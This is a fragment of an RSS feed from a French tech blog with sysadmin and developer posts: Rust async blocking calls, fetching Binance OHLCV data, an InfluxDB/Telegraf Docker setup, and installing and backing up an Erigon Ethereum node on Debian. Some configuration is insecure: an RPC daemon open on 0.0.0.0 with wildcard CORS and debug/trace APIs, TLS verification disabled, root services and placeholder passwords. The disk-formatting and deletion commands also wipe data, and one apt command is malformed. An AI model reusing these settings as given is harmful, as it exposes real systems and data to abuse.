	BeaconBlocks                SyncStage = &#34;BeaconBlocks&#34;                // BeaconBlocks are downloaded, no verification
	BeaconState                 SyncStage = &#34;BeaconState&#34;                 // Beacon blocks are sent to the state transition function
	BeaconIndexes               SyncStage = &#34;BeaconIndexes&#34;               // Fills up Beacon indexes

)
</code></pre><blockquote>
<p>Source: <a href="https://pkg.go.dev/github.com/ledgerwatch/erigon/eth/stagedsync/stages">https://pkg.go.dev/github.com/ledgerwatch/erigon/eth/stagedsync/stages</a></p></blockquote>
<br/>
<h2 id="organisation-des-données-sur-erigon">Organisation des données sur Erigon</h2>
<p><a href="https://github.com/ledgerwatch/erigon/blob/devel/docs/programmers_guide/db_walkthrough.MD">https://github.com/ledgerwatch/erigon/blob/devel/docs/programmers_guide/db_walkthrough.MD</a></p>
<blockquote>
<ul>
<li>Info sur les events: <a href="https://github.com/ledgerwatch/erigon/blob/devel/docs/programmers_guide/db_walkthrough.MD#table-receipts-1">https://github.com/ledgerwatch/erigon/blob/devel/docs/programmers_guide/db_walkthrough.MD#table-receipts-1</a>
<br/><br/></li>
<li>Accéder à la DB d&rsquo;Erigon en local via Python sans RPC call via <a href="https://lmdb.readthedocs.io/en/release/">https://lmdb.readthedocs.io/en/release/</a></li>
</ul></blockquote>
<br/>
<h2 id="architecture-derigon">Architecture d&rsquo;Erigon</h2>
<p><a href="https://erigon.substack.com/p/architecture-of-erigon-separable?s=w">https://erigon.substack.com/p/architecture-of-erigon-separable?s=w</a></p>
]]></content>
        </item>
        
        <item>
            <title>Exécution de code bloquant dans un runtime async en Rust</title>
            <link>https://leandeep.com/ex%C3%A9cution-de-code-bloquant-dans-un-runtime-async-en-rust/</link>
            <pubDate>Fri, 03 Feb 2023 21:19:00 +0000</pubDate>
            
            <guid>https://leandeep.com/ex%C3%A9cution-de-code-bloquant-dans-un-runtime-async-en-rust/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Dans cet article nous allons voir comment exécuter du code bloquant dans un runtime async en Rust.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;schéma-visuel&#34;&gt;Schéma visuel&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Thread principal (async)                    Thread bloquant
     |                                           |
     | spawn_blocking() -----------------------&amp;gt; |
     |   (retourne immédiatement)                |
     |                                           | get_btc_stablecoin_pairs_sync()
     | .await                                    | (appel synchrone à Binance)
     |   (attend sans bloquer)                   |
     |                                           | (traitement...)
     | &amp;lt;--------------------------------------- |
     |   (résultat reçu)                        |
     |                                           |
     | .map_err() - gère JoinError              |
     | .map_err() - gère erreur métier          |
     |                                           |
     v                                           v
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;example-de-code&#34;&gt;Example de code&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;let btc_pairs = tokio::task::spawn_blocking(get_btc_stablecoin_pairs_sync)
    .await
    .map_err(|e| format!(&amp;#34;Task join error: {}&amp;#34;, e))?
    .map_err(|e| format!(&amp;#34;Error getting pairs: {}&amp;#34;, e))?;
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Equivalent avec annotations:&lt;/strong&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Dans cet article nous allons voir comment exécuter du code bloquant dans un runtime async en Rust.</p>
<br/>
<h2 id="schéma-visuel">Schéma visuel</h2>
<pre tabindex="0"><code>Thread principal (async)                    Thread bloquant
     |                                           |
     | spawn_blocking() -----------------------&gt; |
     |   (retourne immédiatement)                |
     |                                           | get_btc_stablecoin_pairs_sync()
     | .await                                    | (appel synchrone à Binance)
     |   (attend sans bloquer)                   |
     |                                           | (traitement...)
     | &lt;--------------------------------------- |
     |   (résultat reçu)                        |
     |                                           |
     | .map_err() - gère JoinError              |
     | .map_err() - gère erreur métier          |
     |                                           |
     v                                           v
</code></pre><br/>
<h2 id="example-de-code">Example de code</h2>
<pre tabindex="0"><code>let btc_pairs = tokio::task::spawn_blocking(get_btc_stablecoin_pairs_sync)
    .await
    .map_err(|e| format!(&#34;Task join error: {}&#34;, e))?
    .map_err(|e| format!(&#34;Error getting pairs: {}&#34;, e))?;
</code></pre><br/>
<p><strong>Equivalent avec annotations:</strong></p>
<blockquote>
<p>Décomposition étape par étape</p></blockquote>
<pre tabindex="0"><code>pub async fn stream_btc_stablecoin_pairs() -&gt; Result&lt;(), Box&lt;dyn std::error::Error&gt;&gt; {
    log::info!(&#34;Fetching BTC/stablecoin pairs...&#34;);
    
    // 1. Spawner un thread bloquant (retourne JoinHandle immédiatement)
    let join_handle = tokio::task::spawn_blocking(get_btc_stablecoin_pairs_sync);
    
    // 2. Attendre le résultat du thread (async, ne bloque pas le runtime)
    let join_result: Result&lt;Result&lt;Vec&lt;String&gt;, String&gt;, JoinError&gt; = join_handle.await;
    
    // 3. Gérer l&#39;erreur de join (si le thread a paniqué)
    let inner_result: Result&lt;Vec&lt;String&gt;, String&gt; = join_result
        .map_err(|e| format!(&#34;Task join error: {}&#34;, e))?;
    
    // 4. Gérer l&#39;erreur métier (si l&#39;API a échoué)
    let btc_pairs: Vec&lt;String&gt; = inner_result
        .map_err(|e| format!(&#34;Error getting pairs: {}&#34;, e))?;
    

    
    // Reste du code...
    log::info!(&#34;Found {} BTC/stablecoin pairs&#34;, btc_pairs.len());
    // ...
}
</code></pre><br/>
<p><strong>Ce qu&rsquo;il s&rsquo;est passé étape par étape:</strong></p>
<ol>
<li>
<p><strong><code>tokio::task::spawn_blocking(get_btc_stablecoin_pairs_sync)</code></strong></p>
<ul>
<li>Lance la fonction <code>get_btc_stablecoin_pairs_sync</code> dans un <strong>thread dédié aux opérations bloquantes</strong></li>
<li>Retourne immédiatement un <code>JoinHandle&lt;Result&lt;Vec&lt;String&gt;, String&gt;&gt;</code></li>
<li>Cette fonction ne bloque pas le runtime async</li>
</ul>
</li>
<li>
<p><strong><code>.await</code></strong></p>
<ul>
<li>On attend (de manière async) que le thread bloquant termine</li>
<li>Pendant ce temps, le runtime tokio peut exécuter d&rsquo;autres tâches</li>
<li>Retourne <code>Result&lt;Result&lt;Vec&lt;String&gt;, String&gt;, JoinError&gt;</code></li>
<li>Le premier <code>Result</code> vient du <code>.await</code> (erreur de join)</li>
<li>Le second <code>Result</code> vient de notre fonction (erreur métier)</li>
</ul>
</li>
<li>
<p><strong>Premier <code>.map_err(...)?</code></strong></p>
<ul>
<li>Gère l&rsquo;erreur de <code>JoinError</code> (si le thread a paniqué)</li>
<li>Transforme <code>Result&lt;Result&lt;Vec&lt;String&gt;, String&gt;, JoinError&gt;</code> en <code>Result&lt;Vec&lt;String&gt;, String&gt;</code></li>
</ul>
</li>
<li>
<p><strong>Deuxième <code>.map_err(...)?</code></strong></p>
<ul>
<li>Gère l&rsquo;erreur de notre fonction (si l&rsquo;API Binance a échoué)</li>
<li>Transforme le <code>Result&lt;Vec&lt;String&gt;, String&gt;</code> en <code>Vec&lt;String&gt;</code> ou propage l&rsquo;erreur</li>
</ul>
</li>
</ol>
<br/>
<h2 id="résumé">Résumé</h2>
<ul>
<li>spawn_blocking : &ldquo;Lance ce code bloquant dans un thread dédié&rdquo;</li>
<li>.await : &ldquo;Attends (sans bloquer) que ce thread termine&rdquo;</li>
<li>Les deux .map_err()? : &ldquo;Gère les deux niveaux d&rsquo;erreurs possibles&rdquo;</li>
</ul>
]]></content>
        </item>
        
        <item>
            <title>Backuper la DB d&#39;Erigon sur Debian 11</title>
            <link>https://leandeep.com/backuper-la-db-derigon-sur-debian-11/</link>
            <pubDate>Fri, 03 Feb 2023 07:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/backuper-la-db-derigon-sur-debian-11/</guid>
            <description>&lt;p&gt;Pour backuper les data de votre Node Erigon, rien de tel qu&amp;rsquo;un disque externe. Après minimum une semaine de synchronisation rien de tel qu&amp;rsquo;un petit backup si vous devez restaurer votre système. Dans mon cas, je dois passer d&amp;rsquo;Erigon 2.36 à une version 2.37 forkée avec un dev perso permettant d&amp;rsquo;ajouter un endpoint RPC non disponible dans l&amp;rsquo;API de base. Comme je ne suis pas certain que mon dev est 100% safe car c&amp;rsquo;est mon premier développement sur un client Ethereum, je préfère faire un backup de ma DB.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Pour backuper les data de votre Node Erigon, rien de tel qu&rsquo;un disque externe. Après minimum une semaine de synchronisation rien de tel qu&rsquo;un petit backup si vous devez restaurer votre système. Dans mon cas, je dois passer d&rsquo;Erigon 2.36 à une version 2.37 forkée avec un dev perso permettant d&rsquo;ajouter un endpoint RPC non disponible dans l&rsquo;API de base. Comme je ne suis pas certain que mon dev est 100% safe car c&rsquo;est mon premier développement sur un client Ethereum, je préfère faire un backup de ma DB.</p>
<p>Dans cet article très court nous allons donc voir comment formater un disk de backup (ici <code>sda</code>), le monter sur Debian et l&rsquo;utiliser pour backuper Erigon.</p>
<blockquote>
<p>Pré-requis: <code>apt-get install progress</code> (petit utilitaire utile pour suivre la progression de la copie entre 2 disques tellement la DB est volumineuse)</p></blockquote>
<br/>
<h2 id="lister-les-disques-présent">Lister les disques présent</h2>
<pre tabindex="0"><code>lsblk -f
</code></pre><br/>
<h2 id="formatage-en-ext4">Formatage en ext4</h2>
<pre tabindex="0"><code>mkfs -t ext4 /dev/sda1
lsblk -f
</code></pre><br/>
<h2 id="montage">Montage</h2>
<pre tabindex="0"><code>mkdir -p /backup
mount -t auto /dev/sda1 /backup
</code></pre><br/>
<h2 id="backup">Backup</h2>
<pre tabindex="0"><code>systemctl stop erigon-rpc.service
systemctl stop erigon.service
cp -R /backup/erigon /backup/erigon-$(date +&#34;%d-%m-%Y&#34;)
rm -r /backup/erigon
cp -R /erigon /backup/erigon &amp; progress -mp $!
# Alternative
# time rsync -a --info=progress2 --stats /erigon /backup/erigon
systemctl start erigon.service
systemctl start erigon-rpc.service
</code></pre><p>Voilà maintenant je peux tester l&rsquo;upgrade d&rsquo;Erigon sans trop de risque.</p>
]]></content>
        </item>
        
        <item>
            <title>Créer un dataset avec les données Binance OHLCV pour réaliser des backtests</title>
            <link>https://leandeep.com/cr%C3%A9er-un-dataset-avec-les-donn%C3%A9es-binance-ohlcv-pour-r%C3%A9aliser-des-backtests/</link>
            <pubDate>Fri, 27 Jan 2023 10:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/cr%C3%A9er-un-dataset-avec-les-donn%C3%A9es-binance-ohlcv-pour-r%C3%A9aliser-des-backtests/</guid>
            <description>&lt;p&gt;Sans utiliser la librairie CCTX dont j&amp;rsquo;ai parlé &lt;a href=&#34;https://leandeep.com/retourner-un-dataframe-ohlcv-des-tickers-binance-%C3%A0-partir-de-cctx/&#34;&gt;dans l&amp;rsquo;article&lt;/a&gt;, voici comment récupérer directement les données OHLCV depuis l&amp;rsquo;API de Binance:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;import requests
import datetime
import pandas as pd
import numpy as np

start_date = &amp;#34;2022-01-01&amp;#34;
end_date = &amp;#34;2022-01-31&amp;#34;
interval = &amp;#34;1m&amp;#34;
symbol = &amp;#34;BTCUSDT&amp;#34;


def get_binance_data(
    ticker: str,
    interval: str = &amp;#34;4h&amp;#34;,
    limit: int = 500,
    start: str = &amp;#34;2018-01-01 00:00:00&amp;#34;,
) -&amp;gt; pd.DataFrame:
    &amp;#34;&amp;#34;&amp;#34;Get X (limit) OHLCV entries from Binance&amp;#34;&amp;#34;&amp;#34;
    columns = [
        &amp;#34;open_time&amp;#34;,
        &amp;#34;open&amp;#34;,
        &amp;#34;high&amp;#34;,
        &amp;#34;low&amp;#34;,
        &amp;#34;close&amp;#34;,
        &amp;#34;volume&amp;#34;,
        &amp;#34;close_time&amp;#34;,
        &amp;#34;qav&amp;#34;,
        &amp;#34;num_trades&amp;#34;,
        &amp;#34;taker_base_vol&amp;#34;,
        &amp;#34;taker_quote_vol&amp;#34;,
        &amp;#34;ignore&amp;#34;,
    ]
    start = int(datetime.datetime.timestamp(pd.to_datetime(start)) * 1000)
    base_url = &amp;#34;https://www.binance.com/api/v3/klines&amp;#34;
    query_params = (
        f&amp;#34;?symbol={ticker}&amp;amp;interval={interval}&amp;amp;limit={limit}&amp;amp;startTime={start}&amp;#34;
    )
    url = base_url + query_params
    data = pd.DataFrame(
        requests.get(url).json(), columns=columns, dtype=np.float
    )
    data.index = [
        pd.to_datetime(x, unit=&amp;#34;ms&amp;#34;).strftime(&amp;#34;%Y-%m-%d %H:%M:%S&amp;#34;)
        for x in data.open_time
    ]
    use_cols = [
        &amp;#34;open&amp;#34;,
        &amp;#34;high&amp;#34;,
        &amp;#34;low&amp;#34;,
        &amp;#34;close&amp;#34;,
        &amp;#34;volume&amp;#34;,
        &amp;#34;qav&amp;#34;,
        &amp;#34;num_trades&amp;#34;,
        &amp;#34;taker_base_vol&amp;#34;,
        &amp;#34;taker_quote_vol&amp;#34;,
    ]
    data = data[use_cols]
    return data


if __name__ == &amp;#34;__main__&amp;#34;:
    df = get_binance_data(&amp;#34;BTCUSDT&amp;#34;, &amp;#34;1m&amp;#34;)
    print(df.head())
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;
Résultat:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Sans utiliser la librairie CCTX dont j&rsquo;ai parlé <a href="https://leandeep.com/retourner-un-dataframe-ohlcv-des-tickers-binance-%C3%A0-partir-de-cctx/">dans l&rsquo;article</a>, voici comment récupérer directement les données OHLCV depuis l&rsquo;API de Binance:</p>
<pre tabindex="0"><code>import requests
import datetime
import pandas as pd
import numpy as np

start_date = &#34;2022-01-01&#34;
end_date = &#34;2022-01-31&#34;
interval = &#34;1m&#34;
symbol = &#34;BTCUSDT&#34;


def get_binance_data(
    ticker: str,
    interval: str = &#34;4h&#34;,
    limit: int = 500,
    start: str = &#34;2018-01-01 00:00:00&#34;,
) -&gt; pd.DataFrame:
    &#34;&#34;&#34;Get X (limit) OHLCV entries from Binance&#34;&#34;&#34;
    columns = [
        &#34;open_time&#34;,
        &#34;open&#34;,
        &#34;high&#34;,
        &#34;low&#34;,
        &#34;close&#34;,
        &#34;volume&#34;,
        &#34;close_time&#34;,
        &#34;qav&#34;,
        &#34;num_trades&#34;,
        &#34;taker_base_vol&#34;,
        &#34;taker_quote_vol&#34;,
        &#34;ignore&#34;,
    ]
    start = int(datetime.datetime.timestamp(pd.to_datetime(start)) * 1000)
    base_url = &#34;https://www.binance.com/api/v3/klines&#34;
    query_params = (
        f&#34;?symbol={ticker}&amp;interval={interval}&amp;limit={limit}&amp;startTime={start}&#34;
    )
    url = base_url + query_params
    data = pd.DataFrame(
        requests.get(url).json(), columns=columns, dtype=np.float
    )
    data.index = [
        pd.to_datetime(x, unit=&#34;ms&#34;).strftime(&#34;%Y-%m-%d %H:%M:%S&#34;)
        for x in data.open_time
    ]
    use_cols = [
        &#34;open&#34;,
        &#34;high&#34;,
        &#34;low&#34;,
        &#34;close&#34;,
        &#34;volume&#34;,
        &#34;qav&#34;,
        &#34;num_trades&#34;,
        &#34;taker_base_vol&#34;,
        &#34;taker_quote_vol&#34;,
    ]
    data = data[use_cols]
    return data


if __name__ == &#34;__main__&#34;:
    df = get_binance_data(&#34;BTCUSDT&#34;, &#34;1m&#34;)
    print(df.head())
</code></pre><p><br/>
Résultat:</p>
<pre tabindex="0"><code>                         open      high       low  ...  num_trades  taker_base_vol  taker_quote_vol
2017-12-31 23:00:00  13829.97  13829.99  13804.29  ...        44.0        1.164005     16097.885201
2017-12-31 23:01:00  13829.97  13829.97  13788.86  ...        57.0        2.079160     28704.375784
2017-12-31 23:02:00  13788.88  13804.27  13784.61  ...        57.0        1.619601     22352.031033
2017-12-31 23:03:00  13799.98  13799.98  13777.59  ...        71.0        3.725320     51357.627303
2017-12-31 23:04:00  13788.83  13788.83  13700.01  ...        91.0        2.388566     32905.122453
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Installer InfluxDB 2 sur Debian 11</title>
            <link>https://leandeep.com/installer-influxdb-2-sur-debian-11/</link>
            <pubDate>Fri, 27 Jan 2023 09:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/installer-influxdb-2-sur-debian-11/</guid>
            <description>&lt;p&gt;Dans cet article très court, nous allons voir comment installer InfluxDB 2 via Docker sur Debian 11.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;installation-de-docker&#34;&gt;Installation de Docker&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;apt install docker.io

curl -L &amp;#34;https://github.com/docker/compose/releases/download/1.29.2/docker-compose-$(uname -s)-$(uname -m)&amp;#34; -o /usr/local/bin/docker-compose

chmod +x /usr/local/bin/docker-compose
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;On active ensuite le service:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;systemctl enable docker
systemctl start docker
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;installation-dinfluxdb&#34;&gt;Installation d&amp;rsquo;InfluxDB&lt;/h2&gt;
&lt;p&gt;Une fois Docker et docker-compose installés, on peut créer nos fichiers &lt;code&gt;docker-compose.yml&lt;/code&gt;, &lt;code&gt;influx.env&lt;/code&gt; et &lt;code&gt;telegraf.conf&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Contenu du fichier &lt;code&gt;docker-compose.yml&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;version: &amp;#39;3&amp;#39;

services:
  influxdb:
    image: influxdb:2.6-alpine
    restart: always
    env_file:
      - influxv2.env
    volumes:
      # Mount for influxdb data directory and configuration
      - influxdbv2:/var/lib/influxdb2:rw
    ports:
      - &amp;#34;8086:8086&amp;#34;
  telegraf:
    image: telegraf:1.25-alpine
    restart: always
    depends_on:
      - influxdb
    volumes:
      # Mount for telegraf config
      - ./telegraf.conf:/etc/telegraf/telegraf.conf:ro
    env_file:
      - influxv2.env

volumes:
  influxdbv2:
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Contenu du fichier &lt;code&gt;telegraf.conf&lt;/code&gt;:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Dans cet article très court, nous allons voir comment installer InfluxDB 2 via Docker sur Debian 11.</p>
<br/>
<h2 id="installation-de-docker">Installation de Docker</h2>
<pre tabindex="0"><code>apt install docker.io

curl -L &#34;https://github.com/docker/compose/releases/download/1.29.2/docker-compose-$(uname -s)-$(uname -m)&#34; -o /usr/local/bin/docker-compose

chmod +x /usr/local/bin/docker-compose
</code></pre><br/>
<p>On active ensuite le service:</p>
<pre tabindex="0"><code>systemctl enable docker
systemctl start docker
</code></pre><br/>
<h2 id="installation-dinfluxdb">Installation d&rsquo;InfluxDB</h2>
<p>Une fois Docker et docker-compose installés, on peut créer nos fichiers <code>docker-compose.yml</code>, <code>influx.env</code> et <code>telegraf.conf</code>.</p>
<p>Contenu du fichier <code>docker-compose.yml</code>:</p>
<pre tabindex="0"><code>version: &#39;3&#39;

services:
  influxdb:
    image: influxdb:2.6-alpine
    restart: always
    env_file:
      - influxv2.env
    volumes:
      # Mount for influxdb data directory and configuration
      - influxdbv2:/var/lib/influxdb2:rw
    ports:
      - &#34;8086:8086&#34;
  telegraf:
    image: telegraf:1.25-alpine
    restart: always
    depends_on:
      - influxdb
    volumes:
      # Mount for telegraf config
      - ./telegraf.conf:/etc/telegraf/telegraf.conf:ro
    env_file:
      - influxv2.env

volumes:
  influxdbv2:
</code></pre><br/>
<p>Contenu du fichier <code>telegraf.conf</code>:</p>
<pre tabindex="0"><code># Configuration for telegraf agent
[agent]
  ## Default data collection interval for all inputs
  interval = &#34;10s&#34;
  ## Rounds collection interval to &#39;interval&#39;
  ## ie, if interval=&#34;10s&#34; then always collect on :00, :10, :20, etc.
  round_interval = true

  ## Telegraf will send metrics to outputs in batches of at most
  ## metric_batch_size metrics.
  ## This controls the size of writes that Telegraf sends to output plugins.
  metric_batch_size = 1000

  ## For failed writes, telegraf will cache metric_buffer_limit metrics for each
  ## output, and will flush this buffer on a successful write. Oldest metrics
  ## are dropped first when this buffer fills.
  ## This buffer only fills when writes fail to output plugin(s).
  metric_buffer_limit = 10000

  ## Collection jitter is used to jitter the collection by a random amount.
  ## Each plugin will sleep for a random time within jitter before collecting.
  ## This can be used to avoid many plugins querying things like sysfs at the
  ## same time, which can have a measurable effect on the system.
  collection_jitter = &#34;0s&#34;

  ## Default flushing interval for all outputs. Maximum flush_interval will be
  ## flush_interval + flush_jitter
  flush_interval = &#34;10s&#34;
  ## Jitter the flush interval by a random amount. This is primarily to avoid
  ## large write spikes for users running a large number of telegraf instances.
  ## ie, a jitter of 5s and interval 10s means flushes will happen every 10-15s
  flush_jitter = &#34;0s&#34;

  ## By default or when set to &#34;0s&#34;, precision will be set to the same
  ## timestamp order as the collection interval, with the maximum being 1s.
  ##   ie, when interval = &#34;10s&#34;, precision will be &#34;1s&#34;
  ##       when interval = &#34;250ms&#34;, precision will be &#34;1ms&#34;
  ## Precision will NOT be used for service inputs. It is up to each individual
  ## service input to set the timestamp at the appropriate precision.
  ## Valid time units are &#34;ns&#34;, &#34;us&#34; (or &#34;µs&#34;), &#34;ms&#34;, &#34;s&#34;.
  precision = &#34;&#34;

  ## Logging configuration:
  ## Run telegraf with debug log messages.
  debug = false
  ## Run telegraf in quiet mode (error log messages only).
  quiet = false
  ## Specify the log file name. The empty string means to log to stderr.
  logfile = &#34;&#34;

  ## Override default hostname, if empty use os.Hostname()
  hostname = &#34;&#34;
  ## If set to true, do no set the &#34;host&#34; tag in the telegraf agent.
  omit_hostname = false
[[outputs.influxdb_v2]]	
  ## The URLs of the InfluxDB cluster nodes.
  ##
  ## Multiple URLs can be specified for a single cluster, only ONE of the
  ## urls will be written to each interval.
  ## urls exp: http://127.0.0.1:8086
  urls = [&#34;http://influxdb:8086&#34;]

  ## Token for authentication.
  token = &#34;${DOCKER_INFLUXDB_INIT_ADMIN_TOKEN}&#34;
  
  ## Organization is the name of the organization you wish to write to; must exist.
  organization = &#34;${DOCKER_INFLUXDB_INIT_ORG}&#34;
  
  ## Destination bucket to write into.
  bucket = &#34;${DOCKER_INFLUXDB_INIT_BUCKET}&#34;

  insecure_skip_verify = true

[[inputs.cpu]]
  ## Whether to report per-cpu stats or not
  percpu = true
  ## Whether to report total system cpu stats or not
  totalcpu = true
  ## If true, collect raw CPU time metrics.
  collect_cpu_time = false
  ## If true, compute and report the sum of all non-idle CPU states.
  report_active = false
[[inputs.disk]]
  ## By default stats will be gathered for all mount points.
  ## Set mount_points will restrict the stats to only the specified mount points.
  # mount_points = [&#34;/&#34;]
  ## Ignore mount points by filesystem type.
  ignore_fs = [&#34;tmpfs&#34;, &#34;devtmpfs&#34;, &#34;devfs&#34;, &#34;overlay&#34;, &#34;aufs&#34;, &#34;squashfs&#34;]
[[inputs.diskio]]
[[inputs.mem]]
[[inputs.net]]
[[inputs.processes]]
[[inputs.swap]]
[[inputs.system]]
</code></pre><br/>
<p>Contenu du fichier <code>influx.env</code>:</p>
<pre tabindex="0"><code>DOCKER_INFLUXDB_INIT_MODE=setup
DOCKER_INFLUXDB_INIT_USERNAME=mon_user_secured
DOCKER_INFLUXDB_INIT_PASSWORD=mon_super_password
DOCKER_INFLUXDB_INIT_ORG=70c
DOCKER_INFLUXDB_INIT_BUCKET=cex
DOCKER_INFLUXDB_INIT_ADMIN_TOKEN=mon_token_de_fou
</code></pre><br/>
<p>Et voilà, il ne reste plus qu&rsquo;à exécuter cette commande:</p>
<pre tabindex="0"><code>docker-compose up -d
</code></pre><blockquote>
<p>Bien sûr, même si le docker-compose contient la propriété <code>restart: always</code> permettant de démarrer les containers Docker même après un restart de Docker ou reboot de votre machine, je ne recommande pas cette config pour de la prod.</p></blockquote>
]]></content>
        </item>
        
        <item>
            <title>Erigon full node sur Debian 11</title>
            <link>https://leandeep.com/erigon-full-node-sur-debian-11/</link>
            <pubDate>Fri, 27 Jan 2023 07:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/erigon-full-node-sur-debian-11/</guid>
            <description>&lt;h2 id=&#34;installation-des-pré-requis&#34;&gt;Installation des pré-requis&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Installation de go&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;wget https://dl.google.com/go/go1.19.5.linux-amd64.tar.gz
tar -C /usr/local -xzf go1.19.5.linux-amd64.tar.gz
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Editer &lt;code&gt;/root/bashrc&lt;/code&gt; et ajouter les commandes suivantes&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;export PATH=$PATH:/usr/local/go/bin
export GOPATH=&amp;#34;${HOME}/.go/bin&amp;#34;
export PATH=$GOPATH:$PATH
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Autres outils et consensus mechanism&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# Prevent Debian sleep or hibernation
systemctl mask sleep.target suspend.target hibernate.target hybrid-sleep.target

apt vim curl install git make supervisor build-essential software-properties-common net-tools jq

mkdir -p ethereum/consensus/prysm
cd $_
curl https://raw.githubusercontent.com/prysmaticlabs/prysm/master/prysm.sh --output prysm.sh &amp;amp;&amp;amp; chmod +x prysm.sh
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Ouvrir le fichier &lt;code&gt;/root/.bashrc&lt;/code&gt; et ajouter le contenu suivant:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="installation-des-pré-requis">Installation des pré-requis</h2>
<p><strong>Installation de go</strong></p>
<pre tabindex="0"><code>wget https://dl.google.com/go/go1.19.5.linux-amd64.tar.gz
tar -C /usr/local -xzf go1.19.5.linux-amd64.tar.gz
</code></pre><p>Editer <code>/root/bashrc</code> et ajouter les commandes suivantes</p>
<pre tabindex="0"><code>export PATH=$PATH:/usr/local/go/bin
export GOPATH=&#34;${HOME}/.go/bin&#34;
export PATH=$GOPATH:$PATH
</code></pre><br/>
<p><strong>Autres outils et consensus mechanism</strong></p>
<pre tabindex="0"><code># Prevent Debian sleep or hibernation
systemctl mask sleep.target suspend.target hibernate.target hybrid-sleep.target

apt vim curl install git make supervisor build-essential software-properties-common net-tools jq

mkdir -p ethereum/consensus/prysm
cd $_
curl https://raw.githubusercontent.com/prysmaticlabs/prysm/master/prysm.sh --output prysm.sh &amp;&amp; chmod +x prysm.sh
</code></pre><p>Ouvrir le fichier <code>/root/.bashrc</code> et ajouter le contenu suivant:</p>
<pre tabindex="0"><code>export USE_PRYSM_VERSION=v3.1.1
</code></pre><p>Reload du bash <code>source ~/.bashrc</code></p>
<br/>
<p><strong>Génération d&rsquo;un token JWT</strong></p>
<pre tabindex="0"><code>cd ethereum/consensus/prysm/
./prysm.sh beacon-chain generate-auth-secret
</code></pre><br/>
<p><strong>Création d&rsquo;un manifest pour lancer prysm</strong></p>
<p>Créer le fichier <code>/etc/supervisor/conf.d/prysm.conf</code> et ajouter le contenu suivant:</p>
<pre tabindex="0"><code>[program:beacon_eth]
command=/root/ethereum/consensus/prysm/prysm.sh beacon-chain --execution-endpoint=http://localhost:8551 --jwt-secret=/root/ethereum/consensus/prysm/jwt.hex --verbosity=debug
user=root
numprocs=1
autostart=true
autorestart=true
stderr_logfile=/var/log/prysm.log
</code></pre><br/>
<pre tabindex="0"><code>systemctl restart supervisor
supervisorctl

systemctl enable systemd-timesyncd
systemctl start systemd-timesyncd
timedatectl status
</code></pre><br/>
<h2 id="erigon-installation">Erigon installation</h2>
<pre tabindex="0"><code>git clone --branch stable --single-branch https://github.com/ledgerwatch/erigon.git
cd erigon
make erigon
make rpcdaemon
</code></pre><br/>
<p><strong>Création du service</strong></p>
<p><code>vim /etc/systemd/system/erigon.service</code></p>
<pre tabindex="0"><code>[Unit]
Description=Erigon Node
After=network.target network-online.target
Wants=network-online.target

[Service]
WorkingDirectory=/root/erigon/
ExecStart=/root/erigon/build/bin/erigon --datadir=/erigon --private.api.addr=localhost:9090 --prune=hrtc --prune.h.older=90000 --prune.r.older=90000 --prune.t.older=90000 --prune.c.older=90000 --metrics --metrics.addr=localhost --metrics.port=6060 --http=false --authrpc.jwtsecret /root/ethereum/consensus/prysm/jwt.hex
User=root
Restart=always
RestartSec=5s

# Output to syslog
StandardOutput=syslog
StandardError=syslog
#Change this to find app logs in /var/log/syslog
SyslogIdentifier=erigon

[Install]
WantedBy=multi-user.target
</code></pre><blockquote>
<p>Enable debug logs and format logs as JSON with flags: <code>--log.console.json --log.console.verbosity debug</code></p></blockquote>
<br/>
<p><strong>Création du second service</strong></p>
<p><code>vim /etc/systemd/system/erigon-rpc.service</code></p>
<pre tabindex="0"><code>[Unit]
Description=Erigon RPC Daemon

[Service]

WorkingDirectory=/root/erigon/
ExecStart=/root/erigon/build/bin/rpcdaemon --datadir=/erigon --private.api.addr=localhost:9090 --http.vhosts &#39;*&#39; --http.port 8545 --http.addr 0.0.0.0 --http.corsdomain &#39;*&#39; --http.api=eth,erigon,web3,net,debug,trace
User=root
Restart=always
RestartSec=5s

# Output to syslog
StandardOutput=syslog
StandardError=syslog
#Change this to find app logs in /var/log/syslog
SyslogIdentifier=erigon-rpc

[Install]
WantedBy=multi-user.target
</code></pre><br/>
<blockquote>
